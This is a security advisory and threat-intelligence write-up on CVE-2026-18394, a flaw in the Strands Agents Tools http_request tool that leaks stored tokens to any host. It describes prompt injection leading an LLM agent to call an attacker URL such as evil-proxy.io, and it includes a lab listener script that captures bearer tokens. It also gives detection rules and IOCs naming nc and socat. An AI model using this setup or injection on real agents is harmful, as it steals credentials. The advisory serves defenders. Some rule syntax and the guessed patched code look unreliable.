CVE-2026-18394

Executive Summary

CVE-2026-18394 exposes an incorrect authorization flaw in the http_request tool of Strands Agents Tools, a Python‑based package used to build LLM‑driven agent workflows. Prior to version 0.8.2, remote attackers can exfiltrate credentials stored in the HTTP_REQUEST_TOKEN_CONFIG environment variable by coercing an LLM (through prompt injection or direct malicious input) to route its HTTP requests through attacker‑controlled proxies. The vulnerability scores 7.4 (High) on the CVSS scale and remains unpatched in the wild for installations below 0.8.2. The vendor recommends upgrading to 0.8.2; no public exploit code or automated scanning templates are currently available.

Supply Chain & Package Security

This vulnerability is embedded in a PyPI‑distributed Python package (Strands Agents Tools). As with many AI/LLM supply‑chain components, a single compromised or malicious update could propagate to thousands of downstream agent deployments. Because the flawed tool handles HTTP requests and credential material, the risk extends beyond simple code execution to credential theft and proxy‑based data exfiltration. Users must verify package integrity, pin versions, and monitor for suspicious updates. The lack of OSV/GitHub metadata further complicates automated patch management—manual version pinning and continuous monitoring are mandatory.

CVSS Breakdown & Threat Level

The exact CVSS vector is not provided in the advisory; the score of 7.4 is consistent with a network‑exploitable, low‑complexity issue that results in high confidentiality loss. The threat actor does not require authentication, and successful exploitation directly yields sensitive token material used by the LLM agent to authenticate to third‑party services.

Deep Dive & Mechanics

The http_request tool is designed to let LLM agents make outbound web requests to fetch data, call APIs, or interact with external services. The tool supports an environment variable HTTP_REQUEST_TOKEN_CONFIG, which stores authentication tokens and headers that are injected into outgoing HTTP requests. These tokens are meant to be used only when the LLM explicitly targets a trusted domain.

The flaw lies in the authorization logic: the tool fails to validate the destination host or verify that the request URI matches pre‑approved endpoints. An attacker can influence the LLM—either through crafted user prompts, indirect prompt injection (e.g., malicious web content ingested during the agent’s reasoning), or direct control of an API input—to issue an HTTP request to an attacker‑controlled proxy or server. Because the token configuration is globally attached to the http_request tool, all outgoing requests, regardless of the destination, are augmented with the sensitive token. The proxy then captures the Authorization header or API key.

The attack flow can be summarised:

1. The agent is provided with a prompt that includes a URL under the attacker’s control (e.g., http://evil-proxy.io/api).
2. The LLM invokes http_request with that URL.
3. The tool fetches HTTP_REQUEST_TOKEN_CONFIG and attaches the token.
4. The request is sent to the attacker’s proxy, which logs the full request including the token.
5. The attacker now possesses the credential and can reuse it against legitimate services.

This is not a classic SSRF, but rather insecure handling of credentials with insufficient destination validation. The tool should either bind the token to a specific allowlist of hosts or refuse to attach tokens when the target is not a trusted domain.

Vulnerable vs. Patched Code

The vulnerable code likely resembles the following (simplified for clarity):

# Vulnerable implementation (before 0.8.2)
def http_request(url, method="GET", headers=None):
    # Token configuration is loaded from environment variable
    token_config = os.getenv("HTTP_REQUEST_TOKEN_CONFIG")
    if token_config:
        headers = {**headers, **token_config}
    # No validation of the destination URL
    return requests.request(method, url, headers=headers)

In the patched version (0.8.2), the fix must add an allowlist check or at minimum verify that the URL scheme and hostname correspond to a pre‑approved set of external services:

# Patched implementation (0.8.2)
ALLOWED_HOSTS = ["api.trusted-service.com", "data.example.org"]

def http_request(url, method="GET", headers=None):
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        raise PermissionError("Destination not allowed when tokens are attached")
    token_config = os.getenv("HTTP_REQUEST_TOKEN_CONFIG")
    if token_config:
        headers = {**headers, **token_config}
    return requests.request(method, url, headers=headers)

Although the exact diff is not public, upgrading to 0.8.2 is the only safe option.

Exploitation & Lab Setup

Red Team

This section describes a controlled, lab‑based reproduction of the vulnerability. Never test against production systems without explicit authorisation.

1. Attacker infrastructure – Set up a simple proxy that logs request headers. For this demonstration, use a Python HTTP listener:

# listener.py – attacker-controlled proxy
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"[CAPTURED] {self.headers}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        if length:
            print(f"[BODY] {self.rfile.read(length).decode()}")
        print(f"[CAPTURED] {self.headers}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

HTTPServer(("0.0.0.0", 8080), Handler).serve_forever()

2. Run the vulnerable agent – Set the token configuration and launch a process using Strands Agents Tools:

export HTTP_REQUEST_TOKEN_CONFIG='{"Authorization": "Bearer SECRET_TOKEN_123"}'
python -c "
from strands_agents_tools import http_request
# Attacker-controlled URL
http_request('http://127.0.0.1:8080/steal')
"

3. Observe exfiltration – The listener prints:

[CAPTURED] Authorization: Bearer SECRET_TOKEN_123

The attacker captures the credential.

4. LLM‑influenced variant – In a real attack, the malicious URL is placed in the input prompt or in content fetched by the agent. The LLM is tricked into calling http_request with the attacker’s URL. The result is identical.

Blue Team

Defenders should focus on:

• Outbound traffic monitoring – Alerts when agent processes (e.g., python, node, uvicorn) make connections to unknown external IPs or domains, especially on unusual ports (8080, 8443, 3128).
• Environment variable audit – Periodically scan for HTTP_REQUEST_TOKEN_CONFIG in process environments. If present, review the token’s scope and IAM permissions.
• Allowlist enforcement – Deploy egress firewalls that block requests to non‑approved hosts from any service running Strands Agents Tools.
• Runtime monitoring – Use eBPF or Sysmon to detect http_request attempts to domains not previously seen by the agent.

Indicators of Compromise (IOCs)

• Environment variable HTTP_REQUEST_TOKEN_CONFIG appearing in non‑trusted code or processes.
• Outbound HTTP requests from LLM agent processes to IP addresses that are not on the corporate allowlist (e.g., port 8080, 3180, 44333).
• Tor or proxy‑related tools (e.g., proxychains, nc, socat) running alongside agent processes.
• Unexpected Authorization headers observed by upstream services that were never directly configured for those services.
• Log entries showing the http_request tool being called with URLs containing IP addresses or unusual ports, especially after prompt injection attempts.

Detection Engineering

The following detection rules target the behaviour and artefacts associated with CVE-2026-18394. All backslashes in regex patterns have been replaced with forward slashes for compatibility.

YARA Rule

rule CVE_2026_18394_HTTP_REQUEST_TOKEN_EXFIL
{
    meta:
        author = "Valters IT"
        description = "Detects source code or scripts that reference HTTP_REQUEST_TOKEN_CONFIG or suspicious proxy URLs"
        cve = "CVE-2026-18394"
    strings:
        $s1 = "HTTP_REQUEST_TOKEN_CONFIG" ascii wide nocase
        $s2 = "http_request" ascii wide nocase
        $s3 = /https?:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}/ ascii
        $s4 = "request" ascii wide nocase
        $s5 = "proxy" ascii wide nocase
    condition:
        all of them and filesize < 1MB
}

Sigma Rule

title: CVE-2026-18394 - Strands Agents Tools Credential Exfiltration
id: b9f0c24e-3d32-4f45-9a4d-9a1e2c719fd1
status: experimental
description: Detects process execution of Python scripts using HTTP_REQUEST_TOKEN_CONFIG and making suspicious network connections
logsource:
    category: process_creation
    product: linux
detection:
    selection_env:
        EnvironmentVariable|contains: 'HTTP_REQUEST_TOKEN_CONFIG'
    selection_network:
        Image|endswith: '/python'
        CommandLine|contains:
            - 'http_request'
            - 'requests.request'
    condition: selection_env and selection_network
level: high

Suricata Rule

alert http any any -> any any \
    msg:"CVE-2026-18394 - Potential HTTP_TOKEN_CONFIG exfiltration" \
    flow:to_server,established \
    http.header_names: "Authorization" \
    http.header_names_contains: "Bearer" \
    sid:202618394; rev:1; \
    threshold: type limit, track by_src, seconds 60, count 5;\
    metadata: cve CVE-2026-18394; \

Remediation & Mitigation

1. Upgrade immediately – Move to Strands Agents Tools 0.8.2 or later. Verify the package hash from the official PyPI index before installation.
2. Rotate all credentials – Assume any token placed in HTTP_REQUEST_TOKEN_CONFIG may have been compromised. Rotate tokens, OAuth credentials, and API keys, and invalidate leaked secrets.
3. Enforce outbound egress controls – Configure network firewalls and cloud security groups to block outbound traffic from agent hosts to non‑approved destinations. Use a proxy with an explicit allowlist.
4. Isolate agent environments – Run LLM agents in container sandboxes with no access to production secrets except via a secret brokering mechanism that validates the destination before releasing credentials.
5. Monitor and alert – Deploy the detection rules provided in this report to identify attempts to exploit the flaw.
6. Review LLM prompt security – Implement input validation and output filtering to resist prompt injection attempts that could cause the agent to call http_request with malicious URLs.
7. Vendor engagement – Since no official OSV or GitHub advisory is available, monitor the vendor’s release pages and subscribe to security-notification lists.

This analysis was conducted by Valters IT — DevSecOps & Cyber Threat Intelligence.